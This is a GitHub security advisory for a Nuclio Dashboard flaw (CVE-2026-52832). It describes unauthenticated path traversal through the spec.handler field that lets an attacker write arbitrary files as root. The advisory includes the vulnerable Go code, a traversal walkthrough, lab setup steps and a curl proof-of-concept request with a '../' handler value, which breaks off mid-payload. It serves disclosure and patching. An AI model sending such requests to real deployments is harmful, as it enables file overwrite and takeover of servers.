GitHub Advisoryadvisory · Go
GHSA-wpcj-rmv4-86qg Nuclio: Unauthenticated path traversal in spec.handler allows arbitrary file write in Dashboard container
MEDIUM
Official page ↗
- Aliases
- CVE-2026-52832
- Ecosystem
- Go
- Packages
- github.com/nuclio/nuclio
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2026-07-16
Affected packages
• Go github.com/nuclio/nuclio: < 1.16.5 → fixed in 1.16.5
Description
Summary
Nuclio Dashboard exposes `POST /api/functions` without authentication by default (NOP auth mode). The `spec.handler` field (e.g., `mymodule:myfunction`) is parsed by `functionconfig.ParseHandler()` which splits on `:` only — no path validation is applied to the module portion.
During function build, `writeFunctionSourceCodeToTempFile()` passes the module name directly to `path.Join(tempDir, moduleFileName)`. Go's `path.Join` internally calls `path.Clean`, which resolves `../` sequences and allows the resolved path to escape `tempDir`. The function then calls `os.WriteFile` at the attacker-controlled path with attacker-controlled content (base64-decoded `spec.build.functionSourceCode`).
The write executes in the Dashboard container process running as `uid=0 (root)`, allowing writes to any filesystem location the process can access: `/tmp`, `/etc`, `/usr/local/bin`, `/etc/cron.d`, and more.
• CVSS 3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` — 7.5 (High)
• CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
• Affected versions: Nuclio /source
runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)
moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)
// moduleFileName = "../../../../tmp/vul007_proof.txt" — attacker-controlled
if !strings.Contains(moduleFileName, ".") {
moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension)
}
// If moduleFileName already contains ".", no extension is appended
// "../../../../tmp/vul007_proof.txt" contains "." -> stays as-is
sourceFilePath := path.Join(tempDir, moduleFileName)
// path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
// = "/tmp/vul007_proof.txt" / — traversal file outside this tree persists
```
Path Traversal Calculation
```
tempDir = /tmp/nuclio-build-227825660/source (depth from /: 3 components)
handler = "../../../../tmp/vul007_proof.txt:handler"
module = "../../../../tmp/vul007_proof.txt"
path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
= path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt")
Traversal:
/tmp/nuclio-build-227825660/source (start)
../ -> /tmp/nuclio-build-227825660
../ -> /tmp
../ -> / (filesystem root)
../ -> / (cannot go above root)
tmp/vul007_proof.txt -> /tmp/vul007_proof.txt
```
The same technique with 4x `../` reaches any path under `/tmp`, `/etc`, `/usr`, etc.
Full Attack Chain
```
Unauthenticated HTTP client
-> POST /api/functions (no auth, NOP mode)
dashboard/resource/function.go:156 storeAndDeployFunction()
-> platform.CreateFunction()
platform/kube/platform.go:193
-> abstract/platform.go:191 HandleDeployFunction()
-> abstract/platform.go:119 CreateFunctionBuild()
-> builder.Build()
processor/build/builder.go:195
-> builder.resolveFunctionPath()
builder.go:664
-> builder.writeFunctionSourceCodeToTempFile() os.WriteFile(attacker_path, attacker_content, 0644)
builder.go:657
```
---
PoC — Steps to Reproduce
Environment Setup
The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.
Step 1: Create isolated kind cluster with Docker socket mounted
The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:
```bash
cat > /tmp/kind-vul007-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
• role: control-plane
extraMounts:
• hostPath: /var/run/docker.sock
containerPath: /var/run/docker.sock
EOF
kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml
```
Expected output:
```
Creating cluster "vul-007" ...
✓ Ensuring node image (kindest/node:v1.27.3)
✓ Preparing nodes
✓ Writing configuration
✓ Starting control-plane
✓ Installing CNI
✓ Installing StorageClass
Set kubectl context to "kind-vul-007"
```
Verify Docker socket is available inside the cluster node:
```bash
docker exec vul-007-control-plane ls -la /var/run/docker.sock
srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock
```
Step 2: Deploy Nuclio via Helm
```bash
Create namespace
kubectl --context kind-vul-007 create namespace nuclio
Load container images (if pre-pulled)
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007
Install with Helm (chart from source: hack/k8s/helm/nuclio)
helm install nuclio ./hack/k8s/helm/nuclio \
--namespace nuclio \
--kube-context kind-vul-007 \
--set controller.image.pullPolicy=Never \
--set dashboard.image.pullPolicy=Never \
--set registry.pushPullUrl="localhost:5000" \
--set dashboard.containerBuilderKind=docker
```
Step 3: Wait for Dashboard to be ready
```bash
kubectl --context kind-vul-007 wait -n nuclio \
--for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s
Expected:
pod/nuclio-dashboard-b4c5bb96f-txjkt condition met
```
Step 4: Expose Dashboard locally
```bash
kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &
sleep 3
Verify Dashboard is accessible
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8073/api/functions
HTTP 200
```
Step 5: Create default project (required by Dashboard API)
```bash
curl -s -X POST http://localhost:8073/api/projects \
-H "Content-Type: application/json" \
-d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'
```
---
Exploitation
Step 6: Send path traversal request
The `handler` field `../../../../tmp/vul007_proof.txt:handler` instructs the build pipeline to write `functionSourceCode` content to `/tmp/vul007_proof.txt` inside the Dashboard container.
```bash
curl -v -X POST http://localhost:8073/api/functions \
-H "Content-Type: application/json" \
-H "x-nuclio-project-name: default" \
-d '{
"metadata": {"name": "vul007-poc", "namespace": "nuclio"},
"spec": {
"runtime": "python:3.11",
"handler": "../../../../tmp/vul007_proof.txt:handler",
"build": {
"functionSourceCode"…
Related
Alias · CVE (1)
- CVE-2026-52832 Nuclio is a "Serverless" framework for Real-Time Events and Data Processing. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://github.com/nuclio/nuclio/security/advisories/GHSA-wpcj-rmv4-86qg web
- https://github.com/nuclio/nuclio/pull/4143 web
- https://github.com/nuclio/nuclio/commit/2a55d3a8bd4d49226cb4742020303f5bf2a0931d web
- https://github.com/nuclio/nuclio package
- https://github.com/nuclio/nuclio/releases/tag/1.16.5 web